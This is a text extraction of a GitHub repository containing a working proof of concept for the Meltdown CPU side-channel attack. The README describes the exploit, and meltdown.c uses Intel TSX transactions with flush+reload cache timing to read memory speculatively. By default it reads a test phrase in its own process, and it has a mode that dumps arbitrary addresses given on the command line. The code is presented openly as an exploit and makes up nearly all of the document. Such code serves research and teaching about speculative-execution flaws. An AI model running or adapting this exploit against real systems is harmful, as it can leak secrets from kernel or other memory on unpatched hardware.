Full Code of gkaindl/meltdown-poc for AI

master 9eb01cb5ff05 cached
2 files
7.1 KB
2.3k tokens
8 symbols
1 requests
Download .txt
Repository: gkaindl/meltdown-poc
Branch: master
Commit: 9eb01cb5ff05
Files: 2
Total size: 7.1 KB

Directory structure:
gitextract_hbdofvz_/

├── README.md
└── meltdown.c

================================================
FILE CONTENTS
================================================

================================================
FILE: README.md
================================================
# POC for meltdown/spectre

I just wanted to see if this really works, and it actually does. Scary!

It reads out the `TEST_PHRASE` using the timing attack (in its own process).

**Note:** This will only work on Intel "Haswell" and later, since it uses
the TSX extensions to mitigate the processor trap.

Alternatively, by changing the macro `TEST_IN_OWN_PROCESS` to 0, you can
specify an address and length on the command line, and output raw data to pipe
into `strings`. In this case, it uses Intel's TSX to prevent crashing when
attempting to access the mem location, just like the meltdown paper says.

Tested on OS X 10.12.6

Update: OS X has a fix available now, so the PoC only works in its own process
memory anymore.


================================================
FILE: meltdown.c
================================================
// flush_reload from https://github.com/defuse/flush-reload-attacks
// TSX from https://github.com/andikleen/tsx-tools
// dump_hex from https://gist.github.com/ccbrown/9722406

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

#include <sys/mman.h>

#define NUM_PROBES 5
#define TEST_IN_OWN_PROCESS 1
#define TEST_PHRASE "Hmm, this does really work!"

// TSX support

#ifndef _RTM_H
#define _RTM_H 1

/*
 * Copyright (c) 2012,2013 Intel Corporation
 * Author: Andi Kleen
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution
 *
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 */

/* Official RTM intrinsics interface matching gcc/icc, but works
   on older gcc compatible compilers and binutils. */

#define _XBEGIN_STARTED		(~0u)
#define _XABORT_EXPLICIT	(1 << 0)
#define _XABORT_RETRY		(1 << 1)
#define _XABORT_CONFLICT	(1 << 2)
#define _XABORT_CAPACITY	(1 << 3)
#define _XABORT_DEBUG		(1 << 4)
#define _XABORT_NESTED		(1 << 5)
#define _XABORT_CODE(x)		(((x) >> 24) & 0xff)

#define __rtm_force_inline __attribute__((__always_inline__)) inline

static __rtm_force_inline int _xbegin(void)
{
	int ret = _XBEGIN_STARTED;
	asm volatile(".byte 0xc7,0xf8 ; .long 0" : "+a" (ret) :: "memory");
	return ret;
}

static __rtm_force_inline void _xend(void)
{
	 asm volatile(".byte 0x0f,0x01,0xd5" ::: "memory");
}

/* This is a macro because some compilers do not propagate the constant
 * through an inline with optimization disabled.
 */
#define _xabort(status) \
	asm volatile(".byte 0xc6,0xf8,%P0" :: "i" (status) : "memory")

static __rtm_force_inline int _xtest(void)
{
	unsigned char out;
	asm volatile(".byte 0x0f,0x01,0xd6 ; setnz %0" : "=r" (out) :: "memory");
	return out;
}

#endif

__attribute__((always_inline))
inline void flush(const char *adrs)
{
  asm __volatile__ (
     "mfence         \n"
     "clflush 0(%0)  \n"
     :
     : "r" (adrs)
     :
  );
}

__attribute__((always_inline))
inline unsigned long probe(const char *adrs)
{
  volatile unsigned long time;

  asm __volatile__ (
    "mfence             \n"
    "lfence             \n"
    "rdtsc              \n"
    "lfence             \n"
    "movl %%eax, %%esi  \n"
    "movl (%1), %%eax   \n"
    "lfence             \n"
    "rdtsc              \n"
    "subl %%esi, %%eax  \n"
    "clflush 0(%1)      \n"
    : "=a" (time)
    : "c" (adrs)
    :  "%esi", "%edx");

  return time;
}

unsigned char probe_one(size_t ptr, char* buf, int page_size)
{
   const int num_probes = NUM_PROBES;
   int c, i, status = 0, min_idx = 0, win_idx = 0;
   unsigned long times[256];
   unsigned char guessed_char = 0, tests[256];
   unsigned long long t1 = 0;
   volatile uint64_t val;
   
   memset(tests, 0, 256);
   
   for (c = 0; c < num_probes; c++) {
      memset(times, 0, sizeof(unsigned long) * 256);
      
      for (i=0; i<256; i++) {
         flush(&buf[i * page_size]);
      }
   
      if ((status = _xbegin()) == _XBEGIN_STARTED) {
         asm __volatile__ (
           "%=:                              \n"
           "xorq %%rax, %%rax                \n"
           "movb (%[ptr]), %%al              \n"
           "shlq $0xc, %%rax                 \n"
           "jz %=b                           \n"
           "movq (%[buf], %%rax, 1), %%rbx   \n"
           : 
           :  [ptr] "r" (ptr), [buf] "r" (buf)
           :  "%rax", "%rbx");
      
         _xend();
      } else {
         asm __volatile__ ("mfence\n" :::);
      }

      for (i=0; i<256; i++) {
         times[i] = probe(&buf[i * page_size]);
      }
   
      for (i=0; i<256; i++) {
         min_idx = (times[min_idx] > times[i]) ? i : min_idx;
      }
      
      tests[min_idx]++;
   }
   
   for (i=0; i<256; i++) {
      win_idx = (tests[i] > tests[win_idx]) ? i : win_idx;
   }
   
   return (unsigned char)win_idx;
}

void dump_hex(void* addr, const void* data, size_t size) {
	char ascii[17];
	size_t i, j;
	ascii[16] = '\0';
   printf("0x%016lx | ", (unsigned long)addr);
	for (i = 0; i < size; ++i) {
		printf("%02X ", ((unsigned char*)data)[i]);
		if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
			ascii[i % 16] = ((unsigned char*)data)[i];
		} else {
			ascii[i % 16] = '.';
		}
		if ((i+1) % 8 == 0 || i+1 == size) {
			printf(" ");
			if ((i+1) % 16 == 0) {
				printf("|  %s \n", ascii);
			} else if (i+1 == size) {
				ascii[(i+1) % 16] = '\0';
				if ((i+1) % 16 <= 8) {
					printf(" ");
				}
				for (j = (i+1) % 16; j < 16; ++j) {
					printf("   ");
				}
				printf("|  %s \n", ascii);
			}
		}
	}
}

int main(int argc, char** argv)
{
   unsigned char read_buf[16];
   int page_size = getpagesize(), raw_output = 0;
   unsigned long start_addr = 0;
   unsigned long t, len = 0;

#if TEST_IN_OWN_PROCESS
   static char* test = TEST_PHRASE;
   
   start_addr = (unsigned long)test;
   len = strlen(test);
#else
   if (argc < 3 || argc > 4) {
      printf("usage: %s [start_addr (hex)] [len (dec)] [raw, optional]\n",
         argv[0]);
      return 0;
   }
   
   start_addr = strtoul(argv[1], NULL, 16);
   len = strtoul(argv[2], NULL, 10);
   
   if (argc == 4) {
      raw_output = 1;
   }
#endif
   
   char* poke = (char*)mmap(
      NULL,
      256 * page_size,
      PROT_READ | PROT_WRITE,
      MAP_ANON | MAP_SHARED,
      -1,
      0
   );
      
   if (MAP_FAILED == poke) {
      printf("mmap() failed: %s\n", strerror(errno));
      return -1;
   }
      
   printf ("poke buffer: %p, page size: %i\n", poke, page_size);
   
   for (t=0; t<len; t++) {
      if (!raw_output && t > 0 && 0 == t%16) {
         dump_hex((void*)(start_addr + t - 16), read_buf, 16);
      }
      
      read_buf[t%16] = probe_one(start_addr + t, poke, page_size);
      
      if (raw_output) {
         write(STDOUT_FILENO, &read_buf[t%16], 1);
      }
   }
   
   if (!raw_output && t > 0) {
      dump_hex((void*)(start_addr + ((t%16 ? t : (t-1))/16) * 16),
         read_buf, t%16 ? t%16 : 16);
   }
      
   munmap((void*)poke, 256 * page_size);
}
Download .txt
gitextract_hbdofvz_/

├── README.md
└── meltdown.c
Download .txt
SYMBOL INDEX (8 symbols across 1 files)

FILE: meltdown.c
  function __rtm_force_inline (line 53) | static __rtm_force_inline int _xbegin(void)
  function __rtm_force_inline (line 60) | static __rtm_force_inline void _xend(void)
  function __rtm_force_inline (line 71) | static __rtm_force_inline int _xtest(void)
  function flush (line 80) | __attribute__((always_inline))
  function probe (line 92) | __attribute__((always_inline))
  function probe_one (line 115) | unsigned char probe_one(size_t ptr, char* buf, int page_size)
  function dump_hex (line 168) | void dump_hex(void* addr, const void* data, size_t size) {
  function main (line 198) | int main(int argc, char** argv)
Condensed preview — 2 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (8K chars).
[
  {
    "path": "README.md",
    "chars": 726,
    "preview": "# POC for meltdown/spectre\n\nI just wanted to see if this really works, and it actually does. Scary!\n\nIt reads out the `T"
  },
  {
    "path": "meltdown.c",
    "chars": 6531,
    "preview": "// flush_reload from https://github.com/defuse/flush-reload-attacks\n// TSX from https://github.com/andikleen/tsx-tools\n/"
  }
]

About this extraction

This page contains the full source code of the gkaindl/meltdown-poc GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 2 files (7.1 KB), approximately 2.3k tokens, and a symbol index with 8 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!